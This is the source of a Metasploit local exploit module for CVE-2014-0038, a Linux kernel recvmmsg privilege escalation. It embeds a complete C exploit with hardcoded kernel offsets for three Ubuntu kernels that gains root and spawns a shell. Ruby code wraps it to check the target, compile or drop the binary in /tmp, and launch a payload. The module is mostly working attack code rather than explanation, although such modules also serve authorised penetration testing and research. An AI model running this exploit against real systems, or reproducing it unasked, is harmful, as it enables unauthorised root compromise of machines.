353 lines
11 KiB
Ruby
353 lines
11 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = GoodRanking
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include Msf::Post::File
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
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'Description' => %q{
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This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
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system call with a crafted timeout pointer parameter to gain root.
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This exploit has offsets for 3 Ubuntu 13 kernels built in:
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3.8.0-19-generic (13.04 default)
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3.11.0-12-generic (13.10 default)
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3.11.0-15-generic (13.10)
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This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
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pointer which starts at 0xff*3 (765 seconds)
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'h00die <mike@shorebreaksecurity.com>', # Module
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'rebel' # Discovery
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],
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'DisclosureDate' => 'Feb 2 2014',
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'Platform' => [ 'linux'],
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'Arch' => [ ARCH_X86, ARCH_X64 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Targets' =>
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[
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[ 'Auto', { } ]
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],
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'DefaultTarget' => 0,
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'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
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'References' =>
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[
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[ 'EDB', '31347'],
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[ 'EDB', '31346'],
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[ 'CVE', '2014-0038'],
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[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
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]
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))
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register_options(
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[
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OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
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OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
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])
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end
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def check
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def kernel_vuln?()
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os_id = cmd_exec('grep ^ID= /etc/os-release')
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if os_id == 'ID=ubuntu'
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kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
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case kernel.release.to_s
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when '3.11.0'
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if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
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vprint_good("Kernel #{kernel} is exploitable")
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return true
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else
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print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
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return false
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end
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when '3.8.0'
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if kernel == Gem::Version.new('3.8.0-19-generic')
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vprint_good("Kernel #{kernel} is exploitable")
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return true
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else
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print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
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return false
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end
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else
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print_error("Non-vuln kernel #{kernel}")
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return false
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end
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else
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print_error("Unknown OS: #{os_id}")
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return false
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end
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end
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if kernel_vuln?()
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return CheckCode::Appears
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else
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return CheckCode::Safe
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end
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end
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def exploit
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if check != CheckCode::Appears
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fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
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end
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# direct copy of code from exploit-db. I removed a lot of the comments in the title area just to cut down on size
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recvmmsg = %q{
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/*
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*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
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recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
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CVE-2014-0038 / x32 ABI with recvmmsg
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by rebel @ irc.smashthestack.org
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-----------------------------------
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*/
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#define _GNU_SOURCE
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#include <netinet/ip.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/socket.h>
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#include <unistd.h>
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#include <sys/syscall.h>
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#include <sys/mman.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#include <sys/utsname.h>
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#define __X32_SYSCALL_BIT 0x40000000
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#undef __NR_recvmmsg
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#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
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#define VLEN 1
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#define BUFSIZE 200
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int port;
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struct offset {
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char *kernel_version;
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unsigned long dest; // net_sysctl_root + 96
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unsigned long original_value; // net_ctl_permissions
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unsigned long prepare_kernel_cred;
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unsigned long commit_creds;
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};
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struct offset offsets[] = {
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{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
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{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
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{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
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{NULL,0,0,0,0}
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};
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void udp(int b) {
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int sockfd;
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struct sockaddr_in servaddr,cliaddr;
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int s = 0xff+1;
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if(fork() == 0) {
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while(s > 0) {
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fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
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sleep(1);
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s--;
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fprintf(stderr,".");
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}
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sockfd = socket(AF_INET,SOCK_DGRAM,0);
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bzero(&servaddr,sizeof(servaddr));
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servaddr.sin_family = AF_INET;
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servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
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servaddr.sin_port=htons(port);
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sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
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exit(0);
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}
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}
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void trigger() {
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open("/proc/sys/net/core/somaxconn",O_RDONLY);
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if(getuid() != 0) {
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fprintf(stderr,"not root, ya blew it!\n");
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exit(-1);
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}
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fprintf(stderr,"w00p w00p!\n");
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system("/bin/sh -i");
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}
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typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
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typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
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_commit_creds commit_creds;
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_prepare_kernel_cred prepare_kernel_cred;
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// thx bliss
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static int __attribute__((regparm(3)))
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getroot(void *head, void * table)
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{
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commit_creds(prepare_kernel_cred(0));
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return -1;
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}
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void __attribute__((regparm(3)))
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trampoline()
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{
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asm("mov $getroot, %rax; call *%rax;");
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}
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int main(void)
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{
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int sockfd, retval, i;
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struct sockaddr_in sa;
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struct mmsghdr msgs[VLEN];
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struct iovec iovecs[VLEN];
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char buf[BUFSIZE];
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long mmapped;
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struct utsname u;
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struct offset *off = NULL;
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uname(&u);
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for(i=0;offsets[i].kernel_version != NULL;i++) {
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if(!strcmp(offsets[i].kernel_version,u.release)) {
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off = &offsets[i];
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break;
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}
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}
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if(!off) {
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fprintf(stderr,"no offsets for this kernel version..\n");
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exit(-1);
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}
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mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
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mmapped &= 0x000000ffffffffff;
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srand(time(NULL));
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port = (rand() % 30000)+1500;
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commit_creds = (_commit_creds)off->commit_creds;
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prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
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mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
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if(mmapped == -1) {
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perror("mmap()");
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exit(-1);
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}
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memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
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memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
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if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
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perror("mprotect()");
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exit(-1);
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}
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sockfd = socket(AF_INET, SOCK_DGRAM, 0);
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if (sockfd == -1) {
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perror("socket()");
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exit(-1);
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}
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sa.sin_family = AF_INET;
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sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
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sa.sin_port = htons(port);
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if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
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perror("bind()");
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exit(-1);
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}
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memset(msgs, 0, sizeof(msgs));
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iovecs[0].iov_base = &buf;
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iovecs[0].iov_len = BUFSIZE;
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msgs[0].msg_hdr.msg_iov = &iovecs[0];
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msgs[0].msg_hdr.msg_iovlen = 1;
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for(i=0;i < 3 ;i++) {
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udp(i);
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retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
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if(!retval) {
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fprintf(stderr,"\nrecvmmsg() failed\n");
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}
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}
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close(sockfd);
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fprintf(stderr,"\n");
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trigger();
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}
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}
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filename = rand_text_alphanumeric(8)
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executable_path = "#{datastore['WritableDir']}/#{filename}"
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payloadname = rand_text_alphanumeric(8)
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payload_path = "#{datastore['WritableDir']}/#{payloadname}"
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def has_prereqs?()
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gcc = cmd_exec('which gcc')
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if gcc.include?('gcc')
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vprint_good('gcc is installed')
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else
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print_error('gcc is not installed. Compiling will fail.')
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end
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return gcc.include?('gcc')
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end
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compile = false
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if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
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if has_prereqs?()
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compile = true
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vprint_status('Live compiling exploit on system')
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else
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vprint_status('Dropping pre-compiled exploit on system')
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end
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end
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if check != CheckCode::Appears
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fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
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end
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def upload_and_chmod(fname,fcontent)
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print_status "Writing to #{fname} (#{fcontent.size} bytes)"
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rm_f fname
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write_file(fname, fcontent)
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cmd_exec("chmod +x #{fname}")
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register_file_for_cleanup(fname)
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end
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if compile
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recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/,
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"system(\"#{payload_path}\");")
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upload_and_chmod("#{executable_path}.c", recvmmsg)
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vprint_status("Compiling #{executable_path}.c")
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cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
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register_file_for_cleanup(executable_path)
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else
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path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')
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fd = ::File.open( path, "rb")
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recvmmsg = fd.read(fd.stat.size)
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fd.close
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upload_and_chmod(executable_path, recvmmsg)
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# overwrite with the hardcoded variable names in the compiled versions
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payload_filename = 'a0RwAacU'
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payload_path = "/tmp/#{payload_filename}"
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end
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upload_and_chmod(payload_path, generate_payload_exe)
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stime = Time.now
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vprint_status("Exploiting... May take 13min. Start time: #{stime}")
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output = cmd_exec(executable_path)
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output.each_line { |line| vprint_status(line.chomp) }
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end
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end
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